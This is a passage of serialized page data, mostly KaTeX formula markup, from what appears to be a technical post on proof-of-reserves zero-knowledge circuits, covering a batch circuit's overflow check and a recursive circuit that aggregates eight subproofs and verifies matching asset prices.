9],{"type":32,"value":5847},{"type":26,"tag":475,"props":94691,"children":94693},{"className":94692,"style":92667},[3719],[94694],{"type":32,"value":2789},{"type":26,"tag":475,"props":94696,"children":94698},{"className":94697,"style":21755},[3719,21296],[94699],{"type":32,"value":21758},{"type":26,"tag":475,"props":94701,"children":94703},{"className":94702},[3719,21296],[94704],{"type":32,"value":76396},{"type":26,"tag":475,"props":94706,"children":94708},{"className":94707,"style":21755},[3719,21296],[94709],{"type":32,"value":94710},"FE",{"type":26,"tag":475,"props":94712,"children":94714},{"className":94713,"style":92667},[3719],[94715],{"type":32,"value":2789},{"type":26,"tag":475,"props":94717,"children":94719},{"className":94718,"style":94687},[3719,21296],[94720],{"type":32,"value":94721},"I",{"type":26,"tag":475,"props":94723,"children":94725},{"className":94724,"style":21297},[3719,21296],[94726],{"type":32,"value":94727},"NT",{"type":26,"tag":475,"props":94729,"children":94731},{"className":94730},[3719],[94732],{"type":32,"value":94733},"/512",{"type":32,"value":6171},{"type":26,"tag":105,"props":94736,"children":94737},{},[94738],{"type":32,"value":94739},"(overflow check)",{"type":32,"value":94741}," --> overflow check is made this way for performance (note that 512 is actually the ",{"type":26,"tag":53,"props":94743,"children":94745},{"className":94744},[],[94746],{"type":32,"value":92525},{"type":32,"value":2835},{"type":26,"tag":35,"props":94749,"children":94750},{},[94751],{"type":32,"value":94752},"Here is a visual scheme of the inputs of the batch circuit + how user hashes are generated:",{"type":26,"tag":35,"props":94754,"children":94755},{},[94756],{"type":26,"tag":132,"props":94757,"children":94759},{"alt":134,"src":94758},"/posts/por/batch-circuit-inputs.png",[],{"type":26,"tag":41,"props":94761,"children":94763},{"id":94762},"recursive-circuit",[94764],{"type":32,"value":94765},"Recursive Circuit",{"type":26,"tag":35,"props":94767,"children":94768},{},[94769],{"type":32,"value":94770},"Recursive circuits get eight subproofs as input, verify if all the asset prices are the same, and calculate the summed balances and Merkle hash. Here are the constraints.",{"type":26,"tag":35,"props":94772,"children":94773},{},[94774],{"type":26,"tag":105,"props":94775,"children":94776},{},[94777],{"type":32,"value":93039},{"type":26,"tag":82,"props":94779,"children":94780},{},[94781,94785,94790],{"type":26,"tag":86,"props":94782,"children":94783},{},[94784],{"type":32,"value":93057},{"type":26,"tag":86,"props":94786,"children":94787},{},[94788],{"type":32,"value":94789},"Asset prices",{"type":26,"tag":86,"props":94791,"children":94792},{},[94793],{"type":32,"value":93052},{"type":26,"tag":35,"props":94795,"children":94796},{},[94797],{"type":26,"tag":105,"props":94798,"children":94799},{},[94800],{"type":32,"value":93065},{"type":26,"tag":82,"props":94802,"children":94803},{},[94804],{"type":26,"tag":86,"props":94805,"children":94806},{},[94807],{"type":32,"value":94808},"8 subproofs",{"type":26,"tag":35,"props":94810,"children":94811},{},[94812],{"type":26,"tag":105,"props":94813,"children":94814},{},[94815],{"type":32,"value":93086},{"type":26,"tag":82,"props":94817,"children":94818},{},[94819,95229,95560,95927,96314],{"type":26,"tag":86,"props":94820,"children":94821},{},[94822,95224,95225],{"type":26,"tag":53,"props":94823,"children":94825},{"className":94824},[3691,3692],[94826],{"type":26,"tag":475,"props":94827,"children":94829},{"className":94828},[3697],[94830],{"type":26,"tag":475,"props":94831,"children":94833},{"className":94832,"ariaHidden":3703},[3702],[94834,94970],{"type":26,"tag":475,"props":94835,"children":94837},{"className":94836},[3708],[94838,94842,94847,94852,94857,94862,94867,94872,94877,94882,94887,94892,94897,94902,94907,94912,94917,94922,94927,94932,94937,94942,94947,94952,94957,94961,94966],{"type":26,"tag":475,"props":94839,"children":94841},{"className":94840,"style":92609},[3713],[],{"type":26,"tag":475,"props":94843,"children":94845},{"className":94844},[3719,21296],[94846],{"type":32,"value":21438},{"type":26,"tag":475,"props":94848,"children":94850},{"className":94849},[3719,21296],[94851],{"type":32,"value":92637},{"type":26,"tag":475,"props":94853,"children":94855},{"className":94854},[3719,21296],[94856],{"type":32,"value":21438},{"type":26,"tag":475,"props":94858,"children":94860},{"className":94859},[3719,21296],[94861],{"type":32,"value":116},{"type":26,"tag":475,"props":94863,"children":94865},{"className":94864,"style":92679},[3719,21296],[94866],{"type":32,"value":92682},{"type":26,"tag":475,"props":94868,"children":94870},{"className":94869,"style":92667},[3719],[94871],{"type":32,"value":2789},{"type":26,"tag":475,"props":94873,"children":94875},{"className":94874},[3719,21296],[94876],{"type":32,"value":116},{"type":26,"tag":475,"props":94878,"children":94880},{"className":94879},[3719,21296],[94881],{"type":32,"value":92658},{"type":26,"tag":475,"props":94883,"children":94885},{"className":94884},[3719,21296],[94886],{"type":32,"value":21438},{"type":26,"tag":475,"props":94888,"children":94890},{"className":94889,"style":92667},[3719],[94891],{"type":32,"value":2789},{"type":26,"tag":475,"props":94893,"children":94895},{"className":94894},[3719,21296],[94896],{"type":32,"value":92675},{"type":26,"tag":475,"props":94898,"children":94900},{"className":94899,"style":92679},[3719,21296],[94901],{"type":32,"value":92682},{"type":26,"tag":475,"props":94903,"children":94905},{"className":94904},[3719,21296],[94906],{"type":32,"value":92688},{"type":26,"tag":475,"props":94908,"children":94910},{"className":94909},[3719,21296],[94911],{"type":32,"value":92694},{"type":26,"tag":475,"props":94913,"children":94915},{"className":94914},[21425],[94916],{"type":32,"value":3440},{"type":26,"tag":475,"props":94918,"children":94920},{"className":94919},[3719,21296],[94921],{"type":32,"value":116},{"type":26,"tag":475,"props":94923,"children":94925},{"className":94924},[3719,21296],[94926],{"type":32,"value":92658},{"type":26,"tag":475,"props":94928,"children":94930},{"className":94929},[3719,21296],[94931],{"type":32,"value":21438},{"type":26,"tag":475,"props":94933,"children":94935},{"className":94934,"style":92667},[3719],[94936],{"type":32,"value":2789},{"type":26,"tag":475,"props":94938,"children":94940},{"className":94939},[3719,21296],[94941],{"type":32,"value":56095},{"type":26,"tag":475,"props":94943,"children":94945},{"className":94944},[3719,21296],[94946],{"type":32,"value":92926},{"type":26,"tag":475,"props":94948,"children":94950},{"className":94949},[3719,21296],[94951],{"type":32,"value":50825},{"type":26,"tag":475,"props":94953,"children":94955},{"className":94954},[21447],[94956],{"type":32,"value":15117},{"type":26,"tag":475,"props":94958,"children":94960},{"className":94959,"style":3898},[3800],[],{"type":26,"tag":475,"props":94962,"children":94964},{"className":94963},[3903],[94965],{"type":32,"value":8287},{"type":26,"tag":475,"props":94967,"children":94969},{"className":94968,"style":3898},[3800],[],{"type":26,"tag":475,"props":94971,"children":94973},{"className":94972},[3708],[94974,94978,94983,94988,94993,94998,95003,95008,95014,95073,95078,95083,95088,95093,95098,95103,95108,95113,95119,95124,95129,95134,95139,95144,95149,95154,95159,95164,95169,95174,95179,95184,95189,95194,95199,95204,95209,95214,95219],{"type":26,"tag":475,"props":94975,"children":94977},{"className":94976,"style":92609},[3713],[],{"type":26,"tag":475,"props":94979,"children":94981},{"className":94980},[3719],[94982],{"type":32,"value":93257},{"type":26,"tag":475,"props":94984,"children":94986},{"className":94985},[3800],[94987],{"type":32,"value":21397},{"type":26,"tag":475,"props":94989,"children":94991},{"className":94990},[3719,21296],[94992],{"type":32,"value":10360},{"type":26,"tag":475,"props":94994,"children":94996},{"className":94995},[3719,21296],[94997],{"type":32,"value":92926},{"type":26,"tag":475,"props":94999,"children":95001},{"className":95000},[3719,21296],[95002],{"type":32,"value":2930},{"type":26,"tag":475,"props":95004,"children":95006},{"className":95005},[3719,21296],[95007],{"type":32,"value":35},{"type":26,"tag":475,"props":95009,"children":95011},{"className":95010},[3719,21296],[95012],{"type":32,"value":95013},"roo",{"type":26,"tag":475,"props":95015,"children":95017},{"className":95016},[3719],[95018,95024],{"type":26,"tag":475,"props":95019,"children":95022},{"className":95020,"style":95021},[3719,21296],"margin-right:0.10764em;",[95023],{"type":32,"value":32782},{"type":26,"tag":475,"props":95025,"children":95027},{"className":95026},[3736],[95028],{"type":26,"tag":475,"props":95029,"children":95031},{"className":95030},[3741,21350],[95032,95062],{"type":26,"tag":475,"props":95033,"children":95035},{"className":95034},[3746],[95036,95057],{"type":26,"tag":475,"props":95037,"children":95039},{"className":95038,"style":93196},[3751],[95040],{"type":26,"tag":475,"props":95041,"children":95043},{"style":95042},"top:-2.55em;margin-left:-0.1076em;margin-right:0.05em;",[95044,95048],{"type":26,"tag":475,"props":95045,"children":95047},{"className":95046,"style":3761},[3760],[],{"type":26,"tag":475,"props":95049,"children":95051},{"className":95050},[3766,3767,3768,3769],[95052],{"type":26,"tag":475,"props":95053,"children":95055},{"className":95054},[3719,21296,3769],[95056],{"type":32,"value":3445},{"type":26,"tag":475,"props":95058,"children":95060},{"className":95059},[21453],[95061],{"type":32,"value":21456},{"type":26,"tag":475,"props":95063,"children":95065},{"className":95064},[3746],[95066],{"type":26,"tag":475,"props":95067,"children":95069},{"className":95068,"style":92750},[3751],[95070],{"type":26,"tag":475,"props":95071,"children":95072},{},[],{"type":26,"tag":475,"props":95074,"children":95076},{"className":95075},[3719],[95077],{"type":32,"value":353},{"type":26,"tag":475,"props":95079,"children":95081},{"className":95080},[3719,21296],[95082],{"type":32,"value":35},{"type":26,"tag":475,"props":95084,"children":95086},{"className":95085},[3719,21296],[95087],{"type":32,"value":92926},{"type":26,"tag":475,"props":95089,"children":95091},{"className":95090},[3719,21296],[95092],{"type":32,"value":2930},{"type":26,"tag":475,"props":95094,"children":95096},{"className":95095,"style":92679},[3719,21296],[95097],{"type":32,"value":92682},{"type":26,"tag":475,"props":95099,"children":95101},{"className":95100},[3719,21296],[95102],{"type":32,"value":3445},{"type":26,"tag":475,"props":95104,"children":95106},{"className":95105},[3719,21296],[95107],{"type":32,"value":2854},{"type":26,"tag":475,"props":95109,"children":95111},{"className":95110,"style":92667},[3719],[95112],{"type":32,"value":2789},{"type":26,"tag":475,"props":95114,"children":95116},{"className":95115},[3719,21296],[95117],{"type":32,"value":95118},"in",{"type":26,"tag":475,"props":95120,"children":95122},{"className":95121},[3719,21296],[95123],{"type":32,"value":35},{"type":26,"tag":475,"props":95125,"children":95127},{"className":95126},[3719,21296],[95128],{"type":32,"value":92926},{"type":26,"tag":475,"props":95130,"children":95132},{"className":95131},[3719,21296],[95133],{"type":32,"value":21438},{"type":26,"tag":475,"props":95135,"children":95137},{"className":95136},[3719],[95138],{"type":32,"value":353},{"type":26,"tag":475,"props":95140,"children":95142},{"className":95141},[3719,21296],[95143],{"type":32,"value":116},{"type":26,"tag":475,"props":95145,"children":95147},{"className":95146},[3719,21296],[95148],{"type":32,"value":92658},{"type":26,"tag":475,"props":95150,"children":95152},{"className":95151},[3719,21296],[95153],{"type":32,"value":21438},{"type":26,"tag":475,"props":95155,"children":95157},{"className":95156,"style":92667},[3719],[95158],{"type":32,"value":2789},{"type":26,"tag":475,"props":95160,"children":95162},{"className":95161},[3719,21296],[95163],{"type":32,"value":92675},{"type":26,"tag":475,"props":95165,"children":95167},{"className":95166,"style":92679},[3719,21296],[95168],{"type":32,"value":92682},{"type":26,"tag":475,"props":95170,"children":95172},{"className":95171},[3719,21296],[95173],{"type":32,"value":92688},{"type":26,"tag":475,"props":95175,"children":95177},{"className":95176},[3719,21296],[95178],{"type":32,"value":93497},{"type":26,"tag":475,"props":95180,"children":95182},{"className":95181},[21425],[95183],{"type":32,"value":3440},{"type":26,"tag":475,"props":95185,"children":95187},{"className":95186},[3719,21296],[95188],{"type":32,"value":116},{"type":26,"tag":475,"props":95190,"children":95192},{"className":95191},[3719,21296],[95193],{"type":32,"value":92658},{"type":26,"tag":475,"props":95195,"children":95197},{"className":95196},[3719,21296],[95198],{"type":32,"value":21438},{"type":26,"tag":475,"props":95200,"children":95202},{"className":95201,"style":92667},[3719],[95203],{"type":32,"value":2789},{"type":26,"tag":475,"props":95205,"children":95207},{"className":95206},[3719,21296],[95208],{"type":32,"value":56095},{"type":26,"tag":475,"props":95210,"children":95212},{"className":95211},[3719,21296],[95213],{"type":32,"value":92926},{"type":26,"tag":475,"props":95215,"children":95217},{"className":95216},[3719,21296],[95218],{"type":32,"value":50825},{"type":26,"tag":475,"props":95220,"children":95222},{"className":95221},[21447],[95223],{"type":32,"value":15117},{"type":32,"value":6171},{"type":26,"tag":105,"props":95226,"children":95227},{},[95228],{"type":32,"value":94057},{"type":26,"tag":86,"props":95230,"children":95231},{},[95232],{"type":26,"tag":53,"props":95233,"children":95235},{"className":95234},[3691,3692],[95236],{"type":26,"tag":475,"props":95237,"children":95239},{"className":95238},[3697],[95240],{"type":26,"tag":475,"props":95241,"children":95243},{"className":95242,"ariaHidden":3703},[3702],[95244,95350],{"type":26,"tag":475,"props":95245,"children":95247},{"className":95246},[3708],[95248,95252,95257,95262,95267,95272,95277,95282,95287,95292,95297,95302,95307,95312,95317,95322,95327,95332,95337,95341,95346],{"type":26,"tag":475,"props":95249,"children":95251},{"className":95250,"style":92609},[3713],[],{"type":26,"tag":475,"props":95253,"children":95255},{"className":95254},[3719,21296],[95256],{"type":32,"value":116},{"type":26,"tag":475,"props":95258,"children":95260},{"className":95259},[3719,21296],[95261],{"type":32,"value":92658},{"type":26,"tag":475,"props":95263,"children":95265},{"className":95264},[3719,21296],[95266],{"type":32,"value":21438},{"type":26,"tag":475,"props":95268,"children":95270},{"className":95269,"style":92667},[3719],[95271],{"type":32,"value":2789},{"type":26,"tag":475,"props":95273,"children":95275},{"className":95274},[3719,21296],[95276],{"type":32,"value":35},{"type":26,"tag":475,"props":95278,"children":95280},{"className":95279,"style":92667},[3719,21296],[95281],{"type":32,"value":93486},{"type":26,"tag":475,"props":95283,"children":95285},{"className":95284},[3719,21296],[95286],{"type":32,"value":3445},{"type":26,"tag":475,"props":95288,"children":95290},{"className":95289},[3719,21296],[95291],{"type":32,"value":92694},{"type":26,"tag":475,"props":95293,"children":95295},{"className":95294},[21425],[95296],{"type":32,"value":3440},{"type":26,"tag":475,"props":95298,"children":95300},{"className":95299},[3719,21296],[95301],{"type":32,"value":116},{"type":26,"tag":475,"props":95303,"children":95305},{"className":95304},[3719,21296],[95306],{"type":32,"value":92658},{"type":26,"tag":475,"props":95308,"children":95310},{"className":95309},[3719,21296],[95311],{"type":32,"value":21438},{"type":26,"tag":475,"props":95313,"children":95315},{"className":95314,"style":92667},[3719],[95316],{"type":32,"value":2789},{"type":26,"tag":475,"props":95318,"children":95320},{"className":95319},[3719,21296],[95321],{"type":32,"value":56095},{"type":26,"tag":475,"props":95323,"children":95325},{"className":95324},[3719,21296],[95326],{"type":32,"value":92926},{"type":26,"tag":475,"props":95328,"children":95330},{"className":95329},[3719,21296],[95331],{"type":32,"value":50825},{"type":26,"tag":475,"props":95333,"children":95335},{"className":95334},[21447],[95336],{"type":32,"value":15117},{"type":26,"tag":475,"props":95338,"children":95340},{"className":95339,"style":3898},[3800],[],{"type":26,"tag":475,"props":95342,"children":95344},{"className":95343},[3903],[95345],{"type":32,"value":8287},{"type":26,"tag":475,"props":95347,"children":95349},{"className":95348,"style":3898},[3800],[],{"type":26,"tag":475,"props":95351,"children":95353},{"className":95352},[3708],[95354,95358,95363,95368,95373,95378,95383,95440,95445,95450,95455,95460,95465,95470,95475,95480,95485,95490,95495,95500,95505,95510,95515,95520,95525,95530,95535,95540,95545,95550,95555],{"type":26,"tag":475,"props":95355,"children":95357},{"className":95356,"style":92609},[3713],[],{"type":26,"tag":475,"props":95359,"children":95361},{"className":95360},[3719,21296],[95362],{"type":32,"value":10360},{"type":26,"tag":475,"props":95364,"children":95366},{"className":95365},[3719,21296],[95367],{"type":32,"value":92926},{"type":26,"tag":475,"props":95369,"children":95371},{"className":95370},[3719,21296],[95372],{"type":32,"value":2930},{"type":26,"tag":475,"props":95374,"children":95376},{"className":95375},[3719,21296],[95377],{"type":32,"value":35},{"type":26,"tag":475,"props":95379,"children":95381},{"className":95380},[3719,21296],[95382],{"type":32,"value":95013},{"type":26,"tag":475,"props":95384,"children":95386},{"className":95385},[3719],[95387,95392],{"type":26,"tag":475,"props":95388,"children":95390},{"className":95389,"style":95021},[3719,21296],[95391],{"type":32,"value":32782},{"type":26,"tag":475,"props":95393,"children":95395},{"className":95394},[3736],[95396],{"type":26,"tag":475,"props":95397,"children":95399},{"className":95398},[3741,21350],[95400,95429],{"type":26,"tag":475,"props":95401,"children":95403},{"className":95402},[3746],[95404,95424],{"type":26,"tag":475,"props":95405,"children":95407},{"className":95406,"style":93196},[3751],[95408],{"type":26,"tag":475,"props":95409,"children":95410},{"style":95042},[95411,95415],{"type":26,"tag":475,"props":95412,"children":95414},{"className":95413,"style":3761},[3760],[],{"type":26,"tag":475,"props":95416,"children":95418},{"className":95417},[3766,3767,3768,3769],[95419],{"type":26,"tag":475,"props":95420,"children":95422},{"className":95421},[3719,21296,3769],[95423],{"type":32,"value":3445},{"type":26,"tag":475,"props":95425,"children":95427},{"className":95426},[21453],[95428],{"type":32,"value":21456},{"type":26,"tag":475,"props":95430,"children":95432},{"className":95431},[3746],[95433],{"type":26,"tag":475,"props":95434,"children":95436},{"className":95435,"style":92750},[3751],[95437],{"type":26,"tag":475,"props":95438,"children":95439},{},[],{"type":26,"tag":475,"props":95441,"children":95443},{"className":95442},[3719],[95444],{"type":32,"value":353},{"type":26,"tag":475,"props":95446,"children":95448},{"className":95447},[3719,21296],[95449],{"type":32,"value":35},{"type":26,"tag":475,"props":95451,"children":95453},{"className":95452},[3719,21296],[95454],{"type":32,"value":92926},{"type":26,"tag":475,"props":95456,"children":95458},{"className":95457},[3719,21296],[95459],{"type":32,"value":2930},{"type":26,"tag":475,"props":95461,"children":95463},{"className":95462,"style":92679},[3719,21296],[95464],{"type":32,"value":92682},{"type":26,"tag":475,"props":95466,"children":95468},{"className":95467},[3719,21296],[95469],{"type":32,"value":3445},{"type":26,"tag":475,"props":95471,"children":95473},{"className":95472},[3719,21296],[95474],{"type":32,"value":2854},{"type":26,"tag":475,"props":95476,"children":95478},{"className":95477,"style":92667},[3719],[95479],{"type":32,"value":2789},{"type":26,"tag":475,"props":95481,"children":95483},{"className":95482},[3719,21296],[95484],{"type":32,"value":95118},{"type":26,"tag":475,"props":95486,"children":95488},{"className":95487},[3719,21296],[95489],{"type":32,"value":35},{"type":26,"tag":475,"props":95491,"children":95493},{"className":95492},[3719,21296],[95494],{"type":32,"value":92926},{"type":26,"tag":475,"props":95496,"children":95498},{"className":95497},[3719,21296],[95499],{"type":32,"value":21438},{"type":26,"tag":475,"props":95501,"children":95503},{"className":95502},[3719],[95504],{"type":32,"value":353},{"type":26,"tag":475,"props":95506,"children":95508},{"className":95507},[3719,21296],[95509],{"type":32,"value":116},{"type":26,"tag":475,"props":95511,"children":95513},{"className":95512},[3719,21296],[95514],{"type":32,"value":92658},{"type":26,"tag":475,"props":95516,"children":95518},{"className":95517},[3719,21296],[95519],{"type":32,"value":21438},{"type":26,"tag":475,"props":95521,"children":95523},{"className":95522,"style":92667},[3719],[95524],{"type":32,"value":2789},{"type":26,"tag":475,"props":95526,"children":95528},{"className":95527},[3719,21296],[95529],{"type":32,"value":35},{"type":26,"tag":475,"props":95531,"children":95533},{"className":95532,"style":92667},[3719,21296],[95534],{"type":32,"value":93486},{"type":26,"tag":475,"props":95536,"children":95538},{"className":95537},[3719,21296],[95539],{"type":32,"value":3445},{"type":26,"tag":475,"props":95541,"children":95543},{"className":95542},[3719,21296],[95544],{"type":32,"value":93497},{"type":26,"tag":475,"props":95546,"children":95548},{"className":95547},[21425],[95549],{"type":32,"value":3440},{"type":26,"tag":475,"props":95551,"children":95553},{"className":95552},[3719],[95554],{"type":32,"value":3732},{"type":26,"tag":475,"props":95556,"children":95558},{"className":95557},[21447],[95559],{"type":32,"value":15117},{"type":26,"tag":86,"props":95561,"children":95562},{},[95563,95921,95922],{"type":26,"tag":53,"props":95564,"children":95566},{"className":95565},[3691,3692],[95567],{"type":26,"tag":475,"props":95568,"children":95570},{"className":95569},[3697],[95571],{"type":26,"tag":475,"props":95572,"children":95574},{"className":95573,"ariaHidden":3703},[3702],[95575,95681],{"type":26,"tag":475,"props":95576,"children":95578},{"className":95577},[3708],[95579,95583,95588,95593,95598,95603,95608,95613,95618,95623,95628,95633,95638,95643,95648,95653,95658,95663,95668,95672,95677],{"type":26,"tag":475,"props":95580,"children":95582},{"className":95581,"style":92609},[3713],[],{"type":26,"tag":475,"props":95584,"children":95586},{"className":95585},[3719,21296],[95587],{"type":32,"value":116},{"type":26,"tag":475,"props":95589,"children":95591},{"className":95590},[3719,21296],[95592],{"type":32,"value":92658},{"type":26,"tag":475,"props":95594,"children":95596},{"className":95595},[3719,21296],[95597],{"type":32,"value":21438},{"type":26,"tag":475,"props":95599,"children":95601},{"className":95600,"style":92667},[3719],[95602],{"type":32,"value":2789},{"type":26,"tag":475,"props":95604,"children":95606},{"className":95605},[3719,21296],[95607],{"type":32,"value":35},{"type":26,"tag":475,"props":95609,"children":95611},{"className":95610,"style":92667},[3719,21296],[95612],{"type":32,"value":93486},{"type":26,"tag":475,"props":95614,"children":95616},{"className":95615},[3719,21296],[95617],{"type":32,"value":3445},{"type":26,"tag":475,"props":95619,"children":95621},{"className":95620},[3719,21296],[95622],{"type":32,"value":92694},{"type":26,"tag":475,"props":95624,"children":95626},{"className":95625},[21425],[95627],{"type":32,"value":3440},{"type":26,"tag":475,"props":95629,"children":95631},{"className":95630},[3719,21296],[95632],{"type":32,"value":116},{"type":26,"tag":475,"props":95634,"children":95636},{"className":95635},[3719,21296],[95637],{"type":32,"value":92658},{"type":26,"tag":475,"props":95639,"children":95641},{"className":95640},[3719,21296],[95642],{"type":32,"value":21438},{"type":26,"tag":475,"props":95644,"children":95646},{"className":95645,"style":92667},[3719],[95647],{"type":32,"value":2789},{"type":26,"tag":475,"props":95649,"children":95651},{"className":95650},[3719,21296],[95652],{"type":32,"value":56095},{"type":26,"tag":475,"props":95654,"children":95656},{"className":95655},[3719,21296],[95657],{"type":32,"value":92926},{"type":26,"tag":475,"props":95659,"children":95661},{"className":95660},[3719,21296],[95662],{"type":32,"value":50825},{"type":26,"tag":475,"props":95664,"children":95666},{"className":95665},[21447],[95667],{"type":32,"value":15117},{"type":26,"tag":475,"props":95669,"children":95671},{"className":95670,"style":3898},[3800],[],{"type":26,"tag":475,"props":95673,"children":95675},{"className":95674},[3903],[95676],{"type":32,"value":8287},{"type":26,"tag":475,"props":95678,"children":95680},{"className":95679,"style":3898},[3800],[],{"type":26,"tag":475,"props":95682,"children":95684},{"className":95683},[3708],[95685,95689,95694,95699,95704,95709,95714,95771,95776,95781,95786,95791,95796,95801,95806,95811,95816,95821,95826,95831,95836,95841,95846,95851,95856,95861,95866,95871,95876,95881,95886,95891,95896,95901,95906,95911,95916],{"type":26,"tag":475,"props":95686,"children":95688},{"className":95687,"style":92609},[3713],[],{"type":26,"tag":475,"props":95690,"children":95692},{"className":95691},[3719,21296],[95693],{"type":32,"value":10360},{"type":26,"tag":475,"props":95695,"children":95697},{"className":95696},[3719,21296],[95698],{"type":32,"value":92926},{"type":26,"tag":475,"props":95700,"children":95702},{"className":95701},[3719,21296],[95703],{"type":32,"value":2930},{"type":26,"tag":475,"props":95705,"children":95707},{"className":95706},[3719,21296],[95708],{"type":32,"value":35},{"type":26,"tag":475,"props":95710,"children":95712},{"className":95711},[3719,21296],[95713],{"type":32,"value":95013},{"type":26,"tag":475,"props":95715,"children":95717},{"className":95716},[3719],[95718,95723],{"type":26,"tag":475,"props":95719,"children":95721},{"className":95720,"style":95021},[3719,21296],[95722],{"type":32,"value":32782},{"type":26,"tag":475,"props":95724,"children":95726},{"className":95725},[3736],[95727],{"type":26,"tag":475,"props":95728,"children":95730},{"className":95729},[3741,21350],[95731,95760],{"type":26,"tag":475,"props":95732,"children":95734},{"className":95733},[3746],[95735,95755],{"type":26,"tag":475,"props":95736,"children":95738},{"className":95737,"style":93196},[3751],[95739],{"type":26,"tag":475,"props":95740,"children":95741},{"style":95042},[95742,95746],{"type":26,"tag":475,"props":95743,"children":95745},{"className":95744,"style":3761},[3760],[],{"type":26,"tag":475,"props":95747,"children":95749},{"className":95748},[3766,3767,3768,3769],[95750],{"type":26,"tag":475,"props":95751,"children":95753},{"className":95752},[3719,21296,3769],[95754],{"type":32,"value":3445},{"type":26,"tag":475,"props":95756,"children":95758},{"className":95757},[21453],[95759],{"type":32,"value":21456},{"type":26,"tag":475,"props":95761,"children":95763},{"className":95762},[3746],[95764],{"type":26,"tag":475,"props":95765,"children":95767},{"className":95766,"style":92750},[3751],[95768],{"type":26,"tag":475,"props":95769,"children":95770},{},[],{"type":26,"tag":475,"props":95772,"children":95774},{"className":95773},[3719],[95775],{"type":32,"value":353},{"type":26,"tag":475,"props":95777,"children":95779},{"className":95778},[3719,21296],[95780],{"type":32,"value":35},{"type":26,"tag":475,"props":95782,"children":95784},{"className":95783},[3719,21296],[95785],{"type":32,"value":92926},{"type":26,"tag":475,"props":95787,"children":95789},{"className":95788},[3719,21296],[95790],{"type":32,"value":2930},{"type":26,"tag":475,"props":95792,"children":95794},{"className":95793,"style":92679},[3719,21296],[95795],{"type":32,"value":92682},{"type":26,"tag":475,"props":95797,"children":95799},{"className":95798},[3719,21296],[95800],{"type":32,"value":3445},{"type":26,"tag":475,"props":95802,"children":95804},{"className":95803},[3719,21296],[95805],{"type":32,"value":2854},{"type":26,"tag":475,"props":95807,"children":95809},{"className":95808,"style":92667},[3719],[95810],{"type":32,"value":2789},{"type":26,"tag":475,"props":95812,"children":95814},{"className":95813},[3719,21296],[95815],{"type":32,"value":95118},{"type":26,"tag":475,"props":95817,"children":95819},{"className":95818},[3719,21296],[95820],{"type":32,"value":35},{"type":26,"tag":475,"props":95822,"children":95824},{"className":95823},[3719,21296],[95825],{"type":32,"value":92926},{"type":26,"tag":475,"props":95827,"children":95829},{"className":95828},[3719,21296],[95830],{"type":32,"value":21438},{"type":26,"tag":475,"props":95832,"children":95834},{"className":95833},[3719],[95835],{"type":32,"value":353},{"type":26,"tag":475,"props":95837,"children":95839},{"className":95838},[3719,21296],[95840],{"type":32,"value":116},{"type":26,"tag":475,"props":95842,"children":95844},{"className":95843},[3719,21296],[95845],{"type":32,"value":92658},{"type":26,"tag":475,"props":95847,"children":95849},{"className":95848},[3719,21296],[95850],{"type":32,"value":21438},{"type":26,"tag":475,"props":95852,"children":95854},{"className":95853,"style":92667},[3719],[95855],{"type":32,"value":2789},{"type":26,"tag":475,"props":95857,"children":95859},{"className":95858},[3719,21296],[95860],{"type":32,"value":35},{"type":26,"tag":475,"props":95862,"children":95864},{"className":95863,"style":92667},[3719,21296],[95865],{"type":32,"value":93486},{"type":26,"tag":475,"props":95867,"children":95869},{"className":95868},[3719,21296],[95870],{"type":32,"value":3445},{"type":26,"tag":475,"props":95872,"children":95874},{"className":95873},[3719,21296],[95875],{"type":32,"value":93497},{"type":26,"tag":475,"props":95877,"children":95879},{"className":95878},[21425],[95880],{"type":32,"value":3440},{"type":26,"tag":475,"props":95882,"children":95884},{"className":95883},[3719,21296],[95885],{"type":32,"value":116},{"type":26,"tag":475,"props":95887,"children":95889},{"className":95888},[3719,21296],[95890],{"type":32,"value":92658},{"type":26,"tag":475,"props":95892,"children":95894},{"className":95893},[3719,21296],[95895],{"type":32,"value":21438},{"type":26,"tag":475,"props":95897,"children":95899},{"className":95898,"style":92667},[3719],[95900],{"type":32,"value":2789},{"type":26,"tag":475,"props":95902,"children":95904},{"className":95903},[3719,21296],[95905],{"type":32,"value":56095},{"type":26,"tag":475,"props":95907,"children":95909},{"className":95908},[3719,21296],[95910],{"type":32,"value":92926},{"type":26,"tag":475,"props":95912,"children":95914},{"className":95913},[3719,21296],[95915],{"type":32,"value":50825},{"type":26,"tag":475,"props":95917,"children":95919},{"className":95918},[21447],[95920],{"type":32,"value":15117},{"type":32,"value":6171},{"type":26,"tag":105,"props":95923,"children":95924},{},[95925],{"type":32,"value":95926},"(verifies if all asset prices are the same)",{"type":26,"tag":86,"props":95928,"children":95929},{},[95930,96309,96310],{"type":26,"tag":53,"props":95931,"children":95933},{"className":95932},[3691,3692],[95934],{"type":26,"tag":475,"props":95935,"children":95937},{"className":95936},[3697],[95938],{"type":26,"tag":475,"props":95939,"children":95941},{"className":95940,"ariaHidden":3703},[3702],[95942,96023],{"type":26,"tag":475,"props":95943,"children":95945},{"className":95944},[3708],[95946,95950,95955,95960,95965,95970,95975,95980,95985,95990,95995,96000,96005,96010,96014,96019],{"type":26,"tag":475,"props":95947,"children":95949},{"className":95948,"style":94080},[3713],[],{"type":26,"tag":475,"props":95951,"children":95953},{"className":95952},[3719,21296],[95954],{"type":32,"value":50825},{"type":26,"tag":475,"props":95956,"children":95958},{"className":95957,"style":92667},[3719,21296],[95959],{"type":32,"value":94092},{"type":26,"tag":475,"props":95961,"children":95963},{"className":95962,"style":94096},[3719,21296],[95964],{"type":32,"value":88304},{"type":26,"tag":475,"props":95966,"children":95968},{"className":95967,"style":92679},[3719,21296],[95969],{"type":32,"value":92682},{"type":26,"tag":475,"props":95971,"children":95973},{"className":95972},[3719,21296],[95974],{"type":32,"value":689},{"type":26,"tag":475,"props":95976,"children":95978},{"className":95977,"style":92667},[3719],[95979],{"type":32,"value":2789},{"type":26,"tag":475,"props":95981,"children":95983},{"className":95982},[3719,21296],[95984],{"type":32,"value":21438},{"type":26,"tag":475,"props":95986,"children":95988},{"className":95987},[3719,21296],[95989],{"type":32,"value":94124},{"type":26,"tag":475,"props":95991,"children":95993},{"className":95992,"style":92667},[3719],[95994],{"type":32,"value":2789},{"type":26,"tag":475,"props":95996,"children":95998},{"className":95997},[3719,21296],[95999],{"type":32,"value":94135},{"type":26,"tag":475,"props":96001,"children":96003},{"className":96002},[3719,21296],[96004],{"type":32,"value":10360},{"type":26,"tag":475,"props":96006,"children":96008},{"className":96007},[3719,21296],[96009],{"type":32,"value":83967},{"type":26,"tag":475,"props":96011,"children":96013},{"className":96012,"style":3898},[3800],[],{"